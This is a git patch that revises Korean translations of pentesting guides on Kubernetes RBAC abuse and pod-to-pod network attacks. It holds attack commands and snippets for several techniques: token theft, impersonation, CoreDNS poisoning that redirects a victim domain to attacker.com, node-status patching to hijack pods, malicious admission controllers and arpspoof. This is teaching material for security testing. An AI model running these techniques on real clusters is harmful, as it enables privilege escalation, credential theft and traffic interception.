From cc14c29582fa2af6486a0d1a02e6f9940c71b6e4 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 14 Apr 2025 22:07:07 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 129 +++++++++++++----- .../kubernetes-network-attacks.md | 64 ++++++--- 2 files changed, 142 insertions(+), 51 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 6ff56ceba..d7e957c32 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 해당 서비스 계정의 토큰을 훔쳐서 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다. +권한이 있는 공격자는 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이는 효과적으로 권한 상승을 의미합니다. -`bootstrap-signer` 서비스 계정의 토큰을 훔쳐서 공격자에게 전송하는 포드의 예: +`bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예: ```yaml apiVersion: v1 kind: Pod @@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos #### Stealth -아마도 당신은 **은밀함**을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다: +아마도 **은밀함**을 원할 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 생성할 수 있는 포드에 접근할 수 있는 내용을 확인할 수 있습니다: - **Privileged + hostPID** - **Privileged only** @@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos - **hostNetwork** - **hostIPC** -_이전의 특권 포드 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)에서 확인할 수 있습니다. +_이전의 특권 포드 구성을 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _에서 확인할 수 있습니다._ ### Pod Create - Move to cloud **포드**(선택적으로 **서비스 계정**)를 **생성**할 수 있다면, **포드 또는 서비스 계정에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수** 있습니다.\ -게다가, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다. +또한, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다. -자세한 정보는 다음을 확인하세요: +자세한 내용은 다음을 확인하세요: {{#ref}} pod-escape-privileges.md @@ -193,7 +193,7 @@ path: / **`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**. -따라서 **포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 노드를 (악용)할 수 있습니다**: +따라서 **포드에 들어가 SA의 토큰을 훔치거나, 특권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용)할 수 있습니다**: ```bash kubectl exec -it -n -- sh ``` @@ -204,14 +204,14 @@ kubectl exec -it -n -- sh ### port-forward -이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩**할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다: +이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트로 포워딩**할 수 있게 해줍니다. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 접근할 수 있습니다. ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### 호스트의 쓰기 가능한 /var/log/ 탈출 [**이 연구에서 언급된 바와 같이**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), **호스트의 `/var/log/` 디렉토리가 마운트된** 포드에 접근하거나 생성할 수 있다면, **컨테이너에서 탈출할 수 있습니다**.\ -이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** ( `kubectl logs ` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\ +이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** (`kubectl logs ` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\ Kubelet 서비스는 기본적으로 **컨테이너의 `/var/log` 파일 시스템을 노출하는** `/logs/` 엔드포인트를 노출합니다. 따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는** 공격자는 이 행동을 두 가지 방법으로 악용할 수 있습니다: @@ -240,7 +240,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// #### readOnly 보호 우회 -운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 경우, 폴더를 rw로 다시 마운트할 수 있습니다: +운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 때, 폴더를 rw로 다시 마운트할 수 있습니다: ```bash mount -o rw,remount /hostlogs/ ``` @@ -252,7 +252,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 호스트 폴더를 쓰기 가능한 접근으로 마운트하는 것이었습니다: +이전과 같은 탈출을 방지하기 위해, hostPath 마운트를 사용하는 대신 PersistentVolume과 PersistentVolumeClaim을 사용하여 컨테이너에 쓰기 가능한 접근 권한으로 호스트 폴더를 마운트하는 것이 었습니다: ```yaml apiVersion: v1 kind: PersistentVolume @@ -307,7 +307,7 @@ name: task-pv-storage-vol kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -또는 REST API를 사용하십시오: +또는 REST API를 사용하세요: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -323,7 +323,7 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ``` ### Creating and Reading Secrets -특별한 종류의 Kubernetes 비밀이 있습니다. **kubernetes.io/service-account-token** 유형으로 서비스 계정 토큰을 저장합니다. 비밀을 생성하고 읽을 수 있는 권한이 있고 서비스 계정의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 서비스 계정 토큰을 훔칠 수 있습니다: +Kubernetes의 **kubernetes.io/service-account-token** 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고, serviceaccount의 이름도 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다: ```yaml apiVersion: v1 kind: Secret @@ -390,13 +390,72 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso 토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다. -### 인증서 서명 요청 +### EncrpytionConfiguration의 일반 텍스트 -`certificatesigningrequests` 리소스에서 **`create`** 동사를 가지고 있다면 (또는 최소한 `certificatesigningrequests/nodeClient`에서). **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다. +이러한 유형의 객체에서 데이터가 휴지 상태에서 암호화되는 일반 텍스트 키를 찾는 것이 가능합니다: +```yaml +# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ -[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 이 경우 **추가 권한이 필요하지 않습니다**. 그렇지 않다면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `/` 또는 `/*`로 `approve`해야 함을 의미합니다. +# +# CAUTION: this is an example configuration. +# Do not use this for your own cluster! +# -모든 필요한 권한이 포함된 **역할의 예**는: +apiVersion: apiserver.config.k8s.io/v1 +kind: EncryptionConfiguration +resources: +- resources: +- secrets +- configmaps +- pandas.awesome.bears.example # a custom resource API +providers: +# This configuration does not provide data confidentiality. The first +# configured provider is specifying the "identity" mechanism, which +# stores resources as plain text. +# +- identity: {} # plain text, in other words NO encryption +- aesgcm: +keys: +- name: key1 +secret: c2VjcmV0IGlzIHNlY3VyZQ== +- name: key2 +secret: dGhpcyBpcyBwYXNzd29yZA== +- aescbc: +keys: +- name: key1 +secret: c2VjcmV0IGlzIHNlY3VyZQ== +- name: key2 +secret: dGhpcyBpcyBwYXNzd29yZA== +- secretbox: +keys: +- name: key1 +secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY= +- resources: +- events +providers: +- identity: {} # do not encrypt Events even though *.* is specified below +- resources: +- '*.apps' # wildcard match requires Kubernetes 1.27 or later +providers: +- aescbc: +keys: +- name: key2 +secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg== +- resources: +- '*.*' # wildcard match requires Kubernetes 1.27 or later +providers: +- aescbc: +keys: +- name: key3 +secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== +``` +### Certificate Signing Requests + +리소스 `certificatesigningrequests`에 **`create`** 동사가 있으면 (또는 최소한 `certificatesigningrequests/nodeClient`에 있으면) **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다. + +[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 그런 경우에는 **추가 권한이 필요하지 않습니다**. 그렇지 않으면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `/` 또는 `/*`로 `approve`해야 함을 의미합니다. + +필요한 모든 권한이 포함된 **역할의 예**는: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -522,14 +581,14 @@ loadbalance ``` 공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행하여 이를 다운로드하고, `rewrite name victim.com attacker.com`과 같은 내용을 추가하여 `victim.com`에 접근할 때 실제로 `attacker.com` 도메인에 접근하도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행하여 적용할 수 있습니다. -또 다른 옵션은 `kubectl edit configmap coredns -n kube-system`를 실행하여 파일을 편집하고 변경하는 것입니다. +또 다른 옵션은 `kubectl edit configmap coredns -n kube-system`를 실행하여 파일을 직접 편집하고 변경하는 것입니다. ### GKE에서의 권한 상승 GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어떤 경우든 주체는 클러스터에 접근하기 위한 자격 증명을 수집할 수 있도록 **`container.clusters.get`** 권한이 필요하며, 그렇지 않으면 **자신의 kubectl 구성 파일을 생성해야** 합니다 (다음 링크를 따르세요). > [!WARNING] -> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그런 다음 GCP는 K8s API 엔드포인트를 통해 **주체**(이메일로)가 클러스터 내에 **접근할 수 있는지** 먼저 **확인**하고, 그 다음 **GCP IAM을 통해 접근할 수 있는지** 확인합니다.\ +> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그런 다음 GCP는 K8s API 엔드포인트를 통해 **주체**(이메일로)가 클러스터 내에서 **접근할 수 있는지** 먼저 **확인**하고, 그 다음 **GCP IAM을 통해 접근할 수 있는지** 확인합니다.\ > 이 중 **하나라도** **참이면**, 응답을 받게 됩니다. **아니면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다. 첫 번째 방법은 **GCP IAM**을 사용하는 것이며, K8s 권한은 **상응하는 GCP IAM 권한**이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다. @@ -542,15 +601,15 @@ GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어 ### 서비스 계정 토큰 생성 -**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인할 수 있습니다). +**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -**`update`** 또는 **`patch`** **`pods/ephemeralcontainers`**를 할 수 있는 주체는 **다른 pods에서 코드 실행**을 얻을 수 있으며, 특권이 있는 securityContext로 ephemeral container를 추가하여 **노드에서 탈출**할 수 있습니다. +**`update`** 또는 **`patch`** **`pods/ephemeralcontainers`**를 할 수 있는 주체는 **다른 pods에서 코드 실행**을 얻을 수 있으며, 특권 있는 securityContext로 ephemeral container를 추가하여 **노드에서 탈출**할 수 있습니다. ### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations -`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성할 수** 있습니다. +`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성**할 수 있습니다. [`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](#malicious-admission-controller). @@ -561,7 +620,7 @@ GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어 ### 노드 프록시 -**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드 실행**을 할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)에서 확인할 수 있습니다). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요: +**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드 실행**을 할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -569,9 +628,9 @@ GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어 [**Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기**](../pentesting-kubernetes-services/index.html#kubelet-rce)에서 확인할 수 있습니다. -### Pods 삭제 + 스케줄 불가능한 노드 +### pods 삭제 + 스케줄 불가능한 노드 -**pods**를 **삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods**를 **추방**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status`에 대한 접근)와 **다른 노드를 스케줄 불가능하게 만들 수 있는** 주체(`nodes/status`에 대한 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어권을 가진 주체는 **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다. +**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status` 접근)와 **다른 노드를 스케줄 불가능하게 만들 수 있는 주체**(`nodes/status` 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어 권한이 있는 경우, **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -594,9 +653,9 @@ kubectl delete pods -n kube-system Kubernetes는 권한 상승을 방지하기 위한 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)을 가지고 있습니다. -이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인증자가 비활성화되어 있을 때도 안전 장치를 제공합니다. +이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인가자가 비활성화되어 있을 때도 안전 장치를 제공합니다. -규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다. +규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다. > [!WARNING] > 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다. @@ -612,13 +671,13 @@ Rolebindings를 생성할 수 있는 권한은 사용자가 **서비스 계정 ### Sidecar proxy app -기본적으로 포드 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, 포드 간의 통신입니다. +기본적으로 pods 간의 통신에는 암호화가 없습니다. 상호 인증, 양방향, pod 간의 통신입니다. #### Create a sidecar proxy app -사이드카 컨테이너는 **포드 내에 두 번째(또는 그 이상의) 컨테이너를 추가하는 것**으로 구성됩니다. +사이드카 컨테이너는 **pod 내부에 두 번째(또는 그 이상의) 컨테이너를 추가하는 것**으로 구성됩니다. -예를 들어, 다음은 2개의 컨테이너가 있는 포드의 구성 일부입니다: +예를 들어, 다음은 2개의 컨테이너가 있는 pod의 구성 일부입니다: ```yaml spec: containers: @@ -630,11 +689,11 @@ command: ["sh","-c"," ``` 기존의 포드에 새로운 컨테이너로 백도어를 추가하려면 사양에 새로운 컨테이너를 추가하면 됩니다. 두 번째 컨테이너에 첫 번째 컨테이너가 가지지 않는 **더 많은 권한**을 **부여할 수** 있다는 점에 유의하세요. -자세한 정보는: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +자세한 정보는 다음을 참조하세요: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### 악의적인 어드미션 컨트롤러 -어드미션 컨트롤러는 **객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **권한이 부여된 후**입니다. +어드미션 컨트롤러는 **객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **권한이 부여된 후**에 가로챕니다. 공격자가 어떻게든 **Mutation Admission Controller를 주입**하는 데 성공하면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다. @@ -664,11 +723,11 @@ kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -위 이미지에서 볼 수 있듯이, 우리는 이미지 `nginx`를 실행하려고 했지만 최종 실행된 이미지는 `rewanthtammana/malicious-image`입니다. 도대체 무슨 일이 일어난 걸까요!? +위 이미지에서 볼 수 있듯이, 우리는 `nginx` 이미지를 실행하려고 했지만 최종 실행된 이미지는 `rewanthtammana/malicious-image`입니다. 도대체 무슨 일이 일어난 걸까요!? #### Technicalities -`./deploy.sh` 스크립트는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 Kubernetes API에 대한 요청을 수정하여 관찰된 결과에 영향을 미칩니다: +`./deploy.sh` 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -688,7 +747,7 @@ Value: "rewanthtammana/malicious-image", ### **서비스 계정 토큰의 자동 마운트 비활성화** -- **포드 및 서비스 계정**: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있습니다. +- **포드 및 서비스 계정**: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 허용합니다. - **적용 방법**: Kubernetes 버전 1.6부터 서비스 계정 또는 포드의 구성에서 `automountServiceAccountToken: false`로 설정합니다. ### **RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index fa01765bf..85149c07a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,9 +4,9 @@ ## Introduction -Kubernetes에서는 기본 동작이 **같은 노드에 있는 모든 컨테이너 간의 연결을 허용**하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결은 **Layer 2** (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 수 있습니다. 특히, **악의적인 컨테이너**가 같은 노드에 위치한 다른 컨테이너에 대해 **ARP 스푸핑 공격**을 실행할 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다. +Kubernetes에서는 기본 동작이 **같은 노드에 있는 모든 컨테이너** 간의 연결을 허용하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결은 **Layer 2** (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 가능성이 있습니다. 특히, **악의적인 컨테이너**가 같은 노드에 위치한 다른 컨테이너에 대해 **ARP 스푸핑 공격**을 실행할 수 있는 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다. -ARP 스푸핑 공격은 **공격자가 지역 네트워크를 통해 위조된 ARP** (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 **공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결**됩니다. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결이 보안 문제를 일으킵니다. +ARP 스푸핑 공격은 **공격자가 지역 네트워크를 통해 위조된 ARP** (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 **공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다**. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 이 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결이 보안 문제를 일으킬 수 있습니다. 4대의 머신이 생성될 시나리오는 다음과 같습니다: @@ -98,13 +98,13 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba ``` ## 기본 Kubernetes 네트워킹 -여기서 소개된 네트워킹 주제에 대한 더 많은 세부정보는 참조를 확인하세요. +여기서 소개된 네트워킹 주제에 대한 자세한 내용은 참조를 확인하세요. ### ARP -일반적으로 **노드 내의 pod-to-pod 네트워킹**은 모든 pod를 연결하는 **브리지**를 통해 가능합니다. 이 브리지는 “**cbr0**”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) **cbr0는 ARP** (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. 들어오는 패킷이 cbr0에 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다. +일반적으로 **노드 내의 pod 간 네트워킹**은 모든 pod를 연결하는 **브리지**를 통해 가능합니다. 이 브리지는 “**cbr0**”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) **cbr0는 ARP** (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. cbr0에 수신 패킷이 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다. -이 사실은 기본적으로 **같은 노드에서 실행되는 모든 pod**가 **같은 노드의 다른 pod와 통신**할 수 있음을 의미합니다 (네임스페이스와는 무관하게) 이더넷 수준(계층 2)에서. +이 사실은 기본적으로 **같은 노드에서 실행되는 모든 pod**가 **같은 노드의 다른 pod와 통신**할 수 있음을 의미합니다 (네임스페이스와 관계없이) 이더넷 수준(계층 2)에서. > [!WARNING] > 따라서, **같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.** @@ -143,18 +143,18 @@ Endpoints: 172.17.0.2:9153 cat /etc/resolv.conf nameserver 10.96.0.10 ``` -그러나, pod는 이 **주소**에 어떻게 가야 할지 **모릅니다**. 이 경우 **pod 범위**는 172.17.0.10/26입니다. +그러나 **pod는** 해당 **주소**에 접근하는 방법을 **모릅니다**. 이 경우 **pod 범위**는 172.17.0.10/26입니다. -따라서, pod는 **주소 10.96.0.10**으로 **DNS 요청**을 보낼 것이며, 이는 cbr0에 의해 **172.17.0.2**로 **변환**됩니다. +따라서 **pod는 10.96.0.10 주소로 DNS 요청을 보낼 것입니다**, 이는 cbr0에 의해 **172.17.0.2로 변환됩니다**. > [!WARNING] -> 이는 pod의 **DNS 요청**이 **항상** **브리지**로 가서 **서비스 IP를 엔드포인트 IP로 변환**한다는 것을 의미합니다. DNS 서버가 pod와 같은 서브네트워크에 있더라도 말입니다. +> 이는 **pod의 DNS 요청**이 **항상** **브리지**를 통해 **서비스 IP를 엔드포인트 IP로 변환**하기 위해 간다는 것을 의미합니다. DNS 서버가 pod와 동일한 서브네트워크에 있더라도 말입니다. > -> 이를 알고, **ARP 공격이 가능하다는** 것을 알면, 노드의 **pod**는 **서브네트워크** 내의 **각 pod**와 **브리지** 간의 **트래픽을 가로챌 수** 있으며, DNS 서버로부터의 **DNS 응답을 수정**할 수 있습니다 (**DNS 스푸핑**). +> 이를 알고, **ARP 공격이 가능하다는 것을 알면**, 노드의 **pod**는 **서브네트워크** 내의 **각 pod**와 **브리지** 간의 **트래픽을 가로챌 수** 있으며, DNS 서버로부터의 **DNS 응답을 수정**할 수 있습니다 (**DNS 스푸핑**). > -> 게다가, **DNS 서버**가 공격자와 **같은 노드에** 있다면, 공격자는 클러스터 내의 어떤 pod의 **모든 DNS 요청을 가로챌 수** 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다. +> 게다가, **DNS 서버**가 **공격자와 동일한 노드에 있다면**, 공격자는 클러스터 내의 어떤 pod의 **모든 DNS 요청을 가로챌 수** 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다. -## 같은 노드의 pods에서 ARP 스푸핑 +## 동일 노드의 pods에서 ARP 스푸핑 우리의 목표는 **ubuntu-victim에서 mysql로의 통신을 최소한 훔치는 것입니다**. @@ -237,12 +237,12 @@ arpspoof -t 172.17.0.9 172.17.0.10 당신은 